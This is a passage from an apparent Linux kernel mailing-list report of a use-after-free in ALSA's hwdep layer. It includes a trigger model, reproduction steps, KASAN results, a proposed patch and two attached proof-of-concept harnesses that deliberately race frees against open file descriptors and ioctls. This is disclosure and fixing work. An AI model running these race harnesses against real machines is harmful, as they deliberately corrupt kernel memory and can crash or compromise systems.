that are already in flight (past the f_op dispatch) can hit the
freed object -- a narrower but real window, and it happens before
the "wait until all files are closed" barrier runs.
- An open() parked inside its retry loop (hwdep.c:116-118: unlock ->
schedule -> relock) is woken by the disconnect and then takes the
mutex / reads hw->card->shutdown on the freed object; with
exclusive==1 but used==0 (the emux hwdep registers no ops.open)
the loop can even complete successfully on the disconnected,
about-to-be-freed device.
* Trigger model
Two parts, both reachable on a soundfont-capable card
(emu10k1/emu8000 with the snd-emux-synth sub-driver loaded):
- the unprivileged part: open /dev/snd/hwC*D2 and use it (the
exclusive flag limits concurrent openers, not lifetime);
- the privileged part: `rmmod snd_emu10k1_synth` (or sysfs
unbind) while that fd is open or an ioctl is in flight.
Consequence: use-after-free reads/writes on struct snd_hwdep
(including mutex_lock() on the freed open_mutex and an
hw->ops.ioctl function-pointer load), plus a second-order UAF into
the freed emux private data.
* Reproducer (attached: synthrace.c, fwmr_test.c) and results on 7.3
synthrace.c registers a REAL emux on a virtual card through the
exported emux API with exactly the snd_emu10k1_synth_probe/remove()
shape (snd_emux_new -> ops -> snd_emux_register creating the real
/dev/snd/hwC0D0; snd_emux_free() is the sub-driver remove body).
Zero kernel source modification. fwmr_test.c is the userspace
side.
# controlled/deterministic (fd held across the free):
insmod synthrace.ko
./fwmr_test mr02hold 4 & # open, probe, hold, then ioctl+close
sleep 2
echo 1 > /sys/module/synthrace/parameters/free # snd_emux_free()
# in-flight variant:
./fwmr_test mr02hammer 20000 & # ioctl hammer
sleep 2
echo 1 > /sys/module/synthrace/parameters/free
Results (7.3, 2 vCPU, KASAN):
- deterministic hold: first close after the free reports
slab-use-after-free at snd_hwdep_release+0x2b/0x4e/0x5a/0x80/
0x9b/0xb3 (six distinct accesses on one close);
- in-flight hammer: 119 reports -- snd_hwdep_ioctl+0x11f
(hw->ops read) x60 and snd_emux_hwdep_ioctl+0x73 x59; reopen
after the free returns -ENODEV as expected.
* Suggested patch
Anchor struct snd_hwdep's lifetime on its embedded device: a custom
release callback performs the kfree(), every open file takes
get_device(hw->dev) and every release path puts it back, and
snd_hwdep_free() only drops the card/registry reference (the
private_free ordering is deliberately unchanged). The complete
patch against 7.3 follows (also kept as patch/0001-fw-mr02.patch);
happy to rework per review.
---- patch begins ----
---
--- a/sound/core/hwdep.c
+++ b/sound/core/hwdep.c
@@ -84,8 +84,10 @@
return -ENXIO;
if (hw == NULL)
return -ENODEV;
+ get_device(hw->dev);
if (!try_module_get(hw->card->module)) {
+ put_device(hw->dev);
snd_card_unref(hw->card);
return -ENODEV;
}
@@ -137,8 +139,10 @@
}
}
mutex_unlock(&hw->open_mutex);
- if (err < 0)
+ if (err < 0) {
module_put(hw->card->module);
+ put_device(hw->dev);
+ }
snd_card_unref(hw->card);
return err;
}
@@ -159,6 +163,7 @@
snd_card_file_remove(hw->card, file);
module_put(mod);
+ put_device(hw->dev);
return err;
}
@@ -336,6 +341,18 @@
.mmap = snd_hwdep_mmap,
};
+/*
+ * The struct snd_hwdep memory itself is freed by the embedded device's
+ * release callback once the last reference (an open file) is dropped;
+ * snd_hwdep_free() only drops the card/registry reference.
+ */
+static void snd_hwdep_dev_release(struct device *dev)
+{
+ struct snd_hwdep *hwdep = container_of(dev, struct snd_hwdep, dev);
+
+ kfree(hwdep);
+}
+
static void snd_hwdep_free(struct snd_hwdep *hwdep)
{
if (!hwdep)
@@ -343,7 +360,6 @@
if (hwdep->private_free)
hwdep->private_free(hwdep);
put_device(hwdep->dev);
- kfree(hwdep);
}
/**
@@ -390,6 +406,7 @@
snd_hwdep_free(hwdep);
return err;
}
+ hwdep->dev->release = snd_hwdep_dev_release;
dev_set_name(hwdep->dev, "hwC%iD%i", card->number, device);
#ifdef CONFIG_SND_OSSEMUL
---- patch ends ----
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: fwmr_test.c --]
[-- Type: text/plain, Size: 11633 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr_test.c - userspace driver for the sound/firewire FW-MR-* race
* verification harnesses (docs/manual-review-sound-firewire-2026-11-26.md).
*
* Plans:
* mr02hold [secs] - FW-MR-02 deterministic release-path variant: open
* /dev/snd/hwC0D0 (real snd_hwdep_open, used=1), read
* once, HOLD the fd across the kernel-side
* snd_emux_free() (host script triggers it), then
* ioctl + close on the freed hwdep -> real
* snd_hwdep_release() derefs freed hw (hw->card->module,
* mutex_lock(&hw->open_mutex), hw->used--).
* mr02hammer [iters] - FW-MR-02 in-flight variant (same shape as the
* synth report's mr03, re-attributed): open + ioctl
* hammer while the free runs on the other side.
* mr03midi [secs] - FW-MR-03: poll for /dev/snd/midiC0D0, open
* O_WRONLY|O_NONBLOCK (real snd_rawmidi_open ->
* snd_virmidi_output_open INIT_WORK), write MIDI bytes
* (real snd_rawmidi_output_trigger -> queue_work
* system_highpri_wq), HOLD across fw3_free, write
* again (in-flight work + write path on freed rmidi),
* close (snd_rawmidi_release on freed rmidi).
* mr04pcm [secs] - FW-MR-04: poll for /dev/snd/pcmC1D0p, open (real
* snd_pcm_open, ref_count=1), hammer
* SNDRV_PCM_IOCTL_PVERSION/PINFO, HOLD across fw4_free
* (snd_device_free(card, pcm)), ioctl + close on the
* freed substream/pcm (real snd_pcm_release path).
* mr01read [secs] - FW-MR-01 reader side: hammer
* SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on
* /dev/snd/controlC0 while a dangling (freed but
* still-linked) jack kcontrol sits in card->controls.
* mr06storm [secs] - FW-MR-06 writer side: loop SNDRV_CTL_IOCTL_ELEM_ADD +
* ELEM_REMOVE of a user control with iface=CARD whose
* name is copied from an existing CARD control (same
* ctl_hash key as the jack controls the reconfig probe
* looks up locklessly in get_available_index()).
* waitdev <path> [timeout_ms] - poll until a device node appears.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"
static void waitdev(const char *path, int timeout_ms)
{
int waited = 0;
struct stat st;
while (stat(path, &st) != 0) {
if (waited >= timeout_ms)
return;
usleep(20000);
waited += 20;
}
}
/* ---- FW-MR-02 ---- */
static int plan_mr02hold(int secs)
{
int fd;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HOLD: fd open (hw->used=1), VERSION probe done\n");
fflush(stdout);
printf("MR02HOLD: holding fd for %ds (host frees emux now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR02HOLD: ioctl on freed hwdep (in snd_hwdep_ioctl path)\n");
fflush(stdout);
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
printf("MR02HOLD: closing -> real snd_hwdep_release() on freed hw\n");
fflush(stdout);
close(fd);
printf("MR02HOLD: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HOLD: done\n");
return 0;
}
static int plan_mr02hammer(int iters)
{
int fd, i;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HAMMER: %d ioctl iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
if ((i % 256) == 0) {
printf("MR02HAMMER: iter %d\n", i);
fflush(stdout);
}
usleep(100);
}
printf("MR02HAMMER: closing\n");
fflush(stdout);
close(fd);
sleep(2);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HAMMER: done\n");
return 0;
}
/* ---- FW-MR-03 ---- */
static int plan_mr03midi(int secs)
{
int fd, n = 0;
unsigned char msg[3] = { 0x90, 0x40, 0x7f };
waitdev("/dev/snd/midiC0D0", 15000);
fd = open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK);
if (fd < 0) {
fprintf(stderr, "open midiC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR03MIDI: opened output; writing bytes (arms output_work)\n");
fflush(stdout);
/* a few writes: each runs snd_rawmidi_kernel_write1 ->
* snd_rawmidi_output_trigger(substream, 1) -> queue_work */
for (n = 0; n < 32; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: %d writes queued; holding fd for %ds "
"(host frees emux now)\n", n, secs);
fflush(stdout);
sleep(secs);
printf("MR03MIDI: writing again on freed rmidi\n");
fflush(stdout);
for (n = 0; n < 8; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: closing -> real snd_rawmidi_release() on freed rmidi\n");
fflush(stdout);
close(fd);
printf("MR03MIDI: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK));
printf("MR03MIDI: done\n");
return 0;
}
/* ---- FW-MR-04 ---- */
static int plan_mr04pcm(int secs)
{
int fd, i;
unsigned int ver = 0;
struct snd_pcm_info info;
waitdev("/dev/snd/pcmC1D0p", 15000);
fd = open("/dev/snd/pcmC1D0p", O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open pcmC0D0p: %s\n", strerror(errno));
return 1;
}
printf("MR04PCM: opened via real snd_pcm_open (ref_count=1)\n");
fflush(stdout);
for (i = 0; i < 64; i++) {
ioctl(fd, SNDRV_PCM_IOCTL_PVERSION, &ver);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
usleep(1000);
}
printf("MR04PCM: 64 probe ioctls done; holding fd for %ds "
"(host frees pcm now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR04PCM: INFO ioctl on freed substream/pcm (in snd_pcm_info)\n");
fflush(stdout);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
printf("MR04PCM: closing -> real snd_pcm_release() on freed objects\n");
fflush(stdout);
close(fd);
printf("MR04PCM: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/pcmC1D0p", O_WRONLY));
printf("MR04PCM: done\n");
return 0;
}
/* ---- FW-MR-01 / FW-MR-06 control-face helpers ---- */
static int ctl_open(void)
{
int fd = open("/dev/snd/controlC0", O_RDWR);
if (fd < 0)
fprintf(stderr, "open controlC0: %s\n", strerror(errno));
return fd;
}
static int plan_mr01read(int secs)
{
int fd, i, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
printf("MR01READ: hammering ELEM_LIST+ELEM_INFO for %ds\n", secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0)
break;
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
}
if ((++i % 64) == 0) {
printf("MR01READ: round %d (count=%u)\n", i, list.count);
fflush(stdout);
}
usleep(2000);
}
printf("MR01READ: done (%d rounds)\n", i);
free(ids);
close(fd);
return 0;
}
static int plan_mr06storm(int secs)
{
int fd, card, i, added = 0;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
struct snd_ctl_elem_id remove_id;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
/* take the name of an existing CARD-interface control so the user
* control shares the ctl_hash key of the jack controls that the
* reconfig probe's get_available_index() looks up locklessly */
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list) < 0) {
fprintf(stderr, "ELEM_LIST: %s\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
memset(&info, 0, sizeof(info));
for (i = 0; i < (int)list.count && i < 256; i++) {
info.id = ids[i];
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info) < 0)
continue;
if (info.id.iface == SNDRV_CTL_ELEM_IFACE_CARD)
break;
}
if (i >= (int)list.count) {
fprintf(stderr, "no CARD control found\n");
free(ids);
close(fd);
return 1;
}
printf("MR06STORM: adding/removing iface=CARD user control '%s' "
"for %ds\n", info.id.name, secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&info, 0, sizeof(info));
info.id.iface = SNDRV_CTL_ELEM_IFACE_CARD;
strncpy((char *)info.id.name, "Headphone Jack",
sizeof(info.id.name) - 1);
info.type = SNDRV_CTL_ELEM_TYPE_BOOLEAN;
info.count = 1;
info.owner = 0;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_ADD, &info) < 0)
goto drop;
added++;
remove_id = info.id;
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_REMOVE, &remove_id);
drop:
if ((++i % 256) == 0) {
printf("MR06STORM: round %d (added=%d)\n", i, added);
fflush(stdout);
}
usleep(500);
}
(void)card;
printf("MR06STORM: done (%d rounds, %d added)\n", i, added);
free(ids);
close(fd);
return 0;
}
static int plan_mr01dump(void)
{
int fd, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0) {
printf("MR01DUMP: ELEM_LIST failed (%s)\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
printf("MR01DUMP: controls_count=%u (dangling entry stays listed)\n",
list.count);
fflush(stdout);
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
printf("MR01DUMP: numid=%-5u iface=%d %s\n",
ids[n].numid, ids[n].iface, ids[n].name);
fflush(stdout);
}
free(ids);
close(fd);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: fwmr_test <plan> [arg]\n");
return 2;
}
if (!strcmp(argv[1], "mr02hold"))
return plan_mr02hold(argc > 2 ? atoi(argv[2]) : 4);
if (!strcmp(argv[1], "mr02hammer"))
return plan_mr02hammer(argc > 2 ? atoi(argv[2]) : 20000);
if (!strcmp(argv[1], "mr03midi"))
return plan_mr03midi(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr04pcm"))
return plan_mr04pcm(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr01dump"))
return plan_mr01dump();
if (!strcmp(argv[1], "mr01read"))
return plan_mr01read(argc > 2 ? atoi(argv[2]) : 15);
if (!strcmp(argv[1], "mr06storm"))
return plan_mr06storm(argc > 2 ? atoi(argv[2]) : 60);
if (!strcmp(argv[1], "waitdev"))
return (waitdev(argv[2], argc > 3 ? atoi(argv[3]) : 10000), 0);
fprintf(stderr, "unknown plan %s\n", argv[1]);
return 2;
}
[-- Attachment #3: synthrace.c --]
[-- Type: text/plain, Size: 14562 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* synthrace.c - dynamic verification harness for the emux wavetable audit
* cases SYNTH-MR-01 / SYNTH-MR-03 / SYNTH-MR-04
* (docs/manual-review-sound-synth-2026-11-26.md).
*
* It drives the REAL in-tree emux code (snd-emux-synth.ko: emux.c,
* emux_synth.c, soundfont.c, emux_hwdep.c, emux_proc.c, emux_seq.c) through
* its exported API with a fake backend ("hw"), replicating exactly the
* snd_emu10k1_synth_probe()/snd_emu10k1_synth_remove() usage shape:
*
* snd_emux_new() -> ops_setup -> fields -> snd_emux_register()
* snd_emux_free() (sub-driver remove body)
*
* No kernel source is modified; the audited code paths are the byte-identical
* in-tree modules (diff vs race/linux verified zero).
*
* Plans (module params, write "1" to trigger):
* mr01nat - SYNTH-MR-01 natural hammering: kernel kthread loops
* snd_emux_note_on() on the real emux port while another kernel
* kthread loops the REAL snd_soundfont_remove_unlocked() /
* snd_soundfont_remove_samples() (the hwdep ioctl bodies).
* The soundfont itself is loaded from userspace through the real
* hwdep SNDRV_EMUX_IOCTL_LOAD_PATCH path (synth_test load-loop).
* mr01ctl - SYNTH-MR-01 controlled window: kprobe post_handler on
* snd_soundfont_search_zone stalls the note_on thread right at
* the start of its unprotected table[] window; one
* snd_soundfont_remove_unlocked() runs and frees zone/sample/
* block underneath; release -> cascaded UAF.
* free - SYNTH-MR-03/MR-04 trigger: snd_emux_free() with an open,
* hammering hwdep fd (mr03) or proc reader (mr04) on the other
* side. This is the exact snd_emu10k1_synth_remove() body.
*/
#define pr_fmt(fmt) "SYNTHRACE: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/util_mem.h>
#include <sound/asoundef.h>
static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;
/* ---- fake backend ops (same contract as emu10k1_callback.c) ---- */
static atomic_t mr01_armed = ATOMIC_INIT(0);
static atomic_t mr01_stalled = ATOMIC_INIT(0);
static struct snd_emux_voice *sr_get_voice(struct snd_emux *e,
struct snd_emux_port *port)
{
int i;
/*
* mr01ctl controlled window: parked mid note_on, AFTER table[] was
* filled by snd_soundfont_search_zone() and INSIDE the voice_lock
* configuration section, i.e. exactly inside the audited
* "search returned -> last table[]/vp->zone/vp->block use" span
* (emux_synth.c:63-114). Removing zone/sample/block underneath and
* then resuming replays the SYNTH-MR-01 interleaving end-to-end.
*/
if (atomic_read(&mr01_armed) && !atomic_xchg(&mr01_stalled, 1)) {
unsigned long deadline = jiffies + msecs_to_jiffies(20000);
pr_info("mr01ctl: note_on parked mid-configuration "
"(table[] window open)\n");
while (atomic_read(&mr01_armed) &&
time_before(jiffies, deadline))
cpu_relax();
pr_info("mr01ctl: note_on resuming\n");
}
for (i = 0; i < e->max_voices; i++) {
struct snd_emux_voice *vp = &e->voices[i];
if (vp->ch < 0) {
vp->ch = i;
e->num_voices++;
return vp;
}
}
/* recycle voice 0 so the hammering never starves */
if (e->max_voices > 0) {
e->voices[0].ch = 0;
return &e->voices[0];
}
return NULL;
}
/*
* MR-01 UAF write point analog: emu10k1 start_voice() does
* emem->map_locked++ on the block handed down through vp->block; we touch
* the block the same way (read+write through the freed snd_util_memblk).
*/
static int mr01_note = 60;
static int mr01_vel = 100;
static atomic_t sr_start_calls = ATOMIC_INIT(0);
static int sr_start_voice(struct snd_emux_voice *vp)
{
struct snd_util_memblk *b = vp->block;
atomic_inc(&sr_start_calls);
if (b)
b->offset++; /* UAF write on freed memblk */
return 0;
}
static void sr_trigger(struct snd_emux_voice *vp) {}
static void sr_release(struct snd_emux_voice *vp) {}
static void sr_update(struct snd_emux_voice *vp, int update) {}
/* emu10k1 terminate_voice() reads vp->block (emem->map_locked--): analog */
static void sr_terminate(struct snd_emux_voice *vp)
{
struct snd_util_memblk *b = vp->block;
if (b) {
unsigned int t = b->size; /* UAF read on freed memblk */
(void)t;
}
}
static int sr_sample_new(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr,
const void __user *data, long count)
{
sp->block = snd_util_mem_alloc(hdr, count > 0 ? count : 256);
if (!sp->block)
return -ENOMEM;
return 0;
}
static int sr_sample_free(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr)
{
if (sp->block) {
snd_util_mem_free(hdr, sp->block);
sp->block = NULL;
}
return 0;
}
static void sr_sample_reset(struct snd_emux *e)
{
snd_emux_terminate_all(e); /* same as snd_emu8000_sample_reset() */
}
/*
* SYNTH-MR-01's practically exploitable variant is the EMU10K1 backend
* (emu10k1_ops has NO .sample_reset, emu10k1_callback.c:51-63): removals
* then never terminate playing voices, so snd_emux_voice::block/::zone stay
* dangling after snd_emu10k1_synth_free()/kfree(sp) and every later
* terminate (e.g. voice recycle in note_on) dereferences the freed block.
* Default to that audited shape; sample_reset_en=1 switches to the EMU8000
* shape (snd_emu8000_patch.c registers snd_emu8000_sample_reset).
*/
static int sample_reset_en;
module_param(sample_reset_en, int, 0400);
static const struct snd_emux_operators sr_ops = {
.owner = THIS_MODULE,
.get_voice = sr_get_voice,
.prepare = sr_start_voice,
.trigger = sr_trigger,
.release = sr_release,
.update = sr_update,
.terminate = sr_terminate,
.sample_new = sr_sample_new,
.sample_free = sr_sample_free,
};
/* ---- shared setup/teardown ---- */
/*
* snd_emux_note_on() and the snd_soundfont_remove_*() bodies are real,
* non-exported global symbols of snd-emux-synth.ko. Resolve them at runtime
* via kprobe registration (kprobe-addr method, same technique as
* kmod/nmi/nmi_race.c) and call them through their exact prototypes.
*/
typedef void (*sr_note_on_t)(void *port, int note, int vel,
struct snd_midi_channel *chan);
typedef int (*sr_sf_op_t)(struct snd_sf_list *sflist);
static sr_note_on_t sr_note_on;
static sr_sf_op_t sr_remove_unlocked;
static sr_sf_op_t sr_remove_samples;
static void *sr_kallsym(const char *name)
{
struct kprobe kp;
void *addr;
memset(&kp, 0, sizeof(kp));
kp.symbol_name = name;
if (register_kprobe(&kp) < 0) {
pr_err("kallsym(%s) failed\n", name);
return NULL;
}
addr = kp.addr;
unregister_kprobe(&kp);
return addr;
}
static int sr_resolve_syms(void)
{
sr_note_on = (sr_note_on_t)sr_kallsym("snd_emux_note_on");
sr_remove_unlocked =
(sr_sf_op_t)sr_kallsym("snd_soundfont_remove_unlocked");
sr_remove_samples =
(sr_sf_op_t)sr_kallsym("snd_soundfont_remove_samples");
return sr_note_on && sr_remove_unlocked && sr_remove_samples ?
0 : -ENOENT;
}
static int sr_emux_setup(void)
{
int err;
err = snd_emux_new(&emu);
if (err < 0)
return err;
emu->ops = sr_ops;
if (sample_reset_en)
emu->ops.sample_reset = sr_sample_reset;
emu->hw = card; /* non-NULL "hardware"; never dereferenced */
emu->max_voices = 8;
emu->num_ports = 1;
emu->midi_ports = 0; /* skip virmidi: not needed for these cases */
emu->hwdep_idx = 0; /* /dev/snd/hwC0D0 */
emu->linear_panning = 0;
emu->memhdr = snd_util_memhdr_new(0x100000);
if (!emu->memhdr) {
snd_emux_free(emu);
emu = NULL;
return -ENOMEM;
}
err = snd_emux_register(emu, card, 0, "synthrace");
if (err < 0) {
pr_err("snd_emux_register failed: %d\n", err);
snd_util_memhdr_free(emu->memhdr);
snd_emux_free(emu);
emu = NULL;
return err;
}
/*
* The real emu10k1 flow nests snd_emux_register() inside the outer
* snd_card_register() (seq-device probe), which then registers the
* emux proc entry created above. Replicate that final registration.
*/
snd_card_register(card);
pr_info("emux registered: hwdep=hwC0D0 sflist=%p proc ready\n",
emu->sflist);
return 0;
}
static void sr_card_new(void)
{
int err;
parent = root_device_register("synthrace");
if (IS_ERR(parent)) {
parent = NULL;
return;
}
err = snd_card_new(parent, 0, "synthrace", THIS_MODULE, 0, &card);
if (err < 0) {
pr_err("snd_card_new failed: %d\n", err);
root_device_unregister(parent);
parent = NULL;
card = NULL;
}
}
/* ---- MR-01 natural hammering ---- */
static unsigned int nat_secs = 25;
module_param(nat_secs, uint, 0400);
static struct task_struct *noteon_thr;
static struct task_struct *remove_thr;
static int noteon_fn(void *arg)
{
struct snd_emux_port *port;
struct snd_midi_channel *chan;
unsigned long until = jiffies + nat_secs * HZ;
port = emu->portptrs[0];
if (!port) {
pr_err("mr01nat: no port\n");
return 0;
}
chan = &port->chset.channels[0];
pr_info("mr01nat: note_on hammer starts\n");
while (!kthread_should_stop() && time_before(jiffies, until)) {
sr_note_on(port, 60, 100, chan);
cond_resched();
}
pr_info("mr01nat: note_on hammer done\n");
return 0;
}
static int remove_fn(void *arg)
{
unsigned long until = jiffies + nat_secs * HZ;
int n = 0;
pr_info("mr01nat: remove hammer starts\n");
while (!kthread_should_stop() && time_before(jiffies, until)) {
/* these are the exact bodies of the hwdep ioctls
* SNDRV_EMUX_IOCTL_REMOVE_LAST_SAMPLES / RESET_SAMPLES
*
* Throttled to ~2.5k/s: at unthrottled rates the removal
* outpaces the userspace loader and the soundfont spends its
* life empty, starving note_on of zones (see first mr01nat
* run: 5.5M removes, 0 collisions). The audit race needs the
* font alive while note_on is inside its table[] window.
*/
/* REMOVE_LAST_SAMPLES body only: unlike remove_samples()
* (snd_sf_clear -> snd_sf_init) it keeps currsf/open_client
* intact so the userspace loader can keep re-arming the font,
* while still freeing the very zone/sample/block trio of the
* audited SYNTH-MR-01 chain */
sr_remove_unlocked(emu->sflist);
n++;
usleep_range(200, 500);
}
pr_info("mr01nat: remove hammer done (%d cycles)\n", n);
return 0;
}
static int mr01nat_set(const char *val, const struct kernel_param *kp)
{
if (!emu || !emu->portptrs[0])
return -ENODEV;
noteon_thr = kthread_run(noteon_fn, NULL, "synthrace_noteon");
remove_thr = kthread_run(remove_fn, NULL, "synthrace_remove");
return 0;
}
static const struct kernel_param_ops mr01nat_ops = { .set = mr01nat_set };
module_param_cb(mr01nat, &mr01nat_ops, NULL, 0200);
/* ---- MR-01 controlled window (park inside sr_get_voice, see above) ---- */
static struct completion mr01_done;
static int mr01_noteon_once(void *arg)
{
struct snd_emux_port *port;
struct snd_midi_channel *chan;
port = emu->portptrs[0];
chan = &port->chset.channels[0];
atomic_set(&sr_start_calls, 0);
sr_note_on(port, mr01_note, mr01_vel, chan);
pr_info("mr01ctl: note_on returned, start_voice calls=%d\n",
atomic_read(&sr_start_calls));
complete(&mr01_done);
return 0;
}
static int mr01ctl_set(const char *val, const struct kernel_param *kp)
{
struct task_struct *t;
int rc;
if (!emu || !emu->portptrs[0])
return -ENODEV;
if (!sr_note_on || !sr_remove_unlocked || !sr_remove_samples)
return -ENOENT;
init_completion(&mr01_done);
atomic_set(&mr01_stalled, 0);
atomic_set(&mr01_armed, 1);
t = kthread_run(mr01_noteon_once, NULL, "synthrace_ctl");
if (IS_ERR(t)) {
atomic_set(&mr01_armed, 0);
return PTR_ERR(t);
}
/* wait until the note_on thread is actually parked mid-window */
{
unsigned long deadline = jiffies + msecs_to_jiffies(8000);
while (!atomic_read(&mr01_stalled) &&
time_before(jiffies, deadline))
msleep(1);
}
if (!atomic_read(&mr01_stalled)) {
atomic_set(&mr01_armed, 0);
wait_for_completion_timeout(&mr01_done,
msecs_to_jiffies(2000));
pr_err("mr01ctl: note_on never parked; aborted\n");
return -EIO;
}
/* free zone/sample/block underneath the parked note_on */
pr_info("mr01ctl: running snd_soundfont_remove_unlocked()\n");
rc = sr_remove_unlocked(emu->sflist);
pr_info("mr01ctl: remove_unlocked returned %d\n", rc);
msleep(50);
atomic_set(&mr01_armed, 0); /* release: cascaded UAF now */
wait_for_completion_timeout(&mr01_done, msecs_to_jiffies(10000));
pr_info("mr01ctl: done\n");
return 0;
}
static const struct kernel_param_ops mr01ctl_ops = { .set = mr01ctl_set };
module_param_cb(mr01ctl, &mr01ctl_ops, NULL, 0200);
static int probe_set(const char *val, const struct kernel_param *kp)
{
struct snd_emux_port *port;
struct snd_midi_channel *chan;
if (!emu || !emu->portptrs[0])
return -ENODEV;
port = emu->portptrs[0];
chan = &port->chset.channels[0];
atomic_set(&sr_start_calls, 0);
pr_info("probe: pre note_on presets_locked=%d fonts=%d zone_ctr=%d\n",
emu->sflist->presets_locked, emu->sflist->fonts_size,
emu->sflist->zone_counter);
sr_note_on(port, 60, 100, chan);
pr_info("probe: note_on done, start_voice calls=%d\n",
atomic_read(&sr_start_calls));
return 0;
}
static const struct kernel_param_ops probe_ops = { .set = probe_set };
module_param_cb(probe, &probe_ops, NULL, 0200);
/* ---- MR-03/MR-04 trigger: sub-driver remove body ---- */
static int free_set(const char *val, const struct kernel_param *kp)
{
if (!emu)
return -ENODEV;
pr_info("free: calling snd_emux_free() (sub-driver remove body)\n");
snd_emux_free(emu);
emu = NULL;
pr_info("free: done\n");
return 0;
}
static const struct kernel_param_ops free_ops = { .set = free_set };
module_param_cb(free, &free_ops, NULL, 0200);
/* ---- module plumbing ---- */
static int __init synthrace_init(void)
{
int ret;
ret = sr_resolve_syms();
if (ret < 0)
return ret;
sr_card_new();
if (!card)
return -ENODEV;
return sr_emux_setup();
}
static void __exit synthrace_exit(void)
{
if (noteon_thr)
kthread_stop(noteon_thr);
if (remove_thr)
kthread_stop(remove_thr);
if (emu) {
snd_emux_free(emu);
emu = NULL;
}
if (card) {
snd_card_free(card);
card = NULL;
}
if (parent) {
root_device_unregister(parent);
parent = NULL;
}
}
module_init(synthrace_init);
module_exit(synthrace_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("emux SYNTH-MR-01/03/04 race verification harness");
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: ALSA: hwdep: struct snd_hwdep is kfree()d while open files, an in-flight ioctl and delayed close() still use it (UAF)
2026-12-01 4:31 ` ALSA: hwdep: struct snd_hwdep is kfree()d while open files, an in-flight ioctl and delayed close() still use it (UAF) 徐晗翔
@ 2026-12-01 4:42 ` sashiko-bot
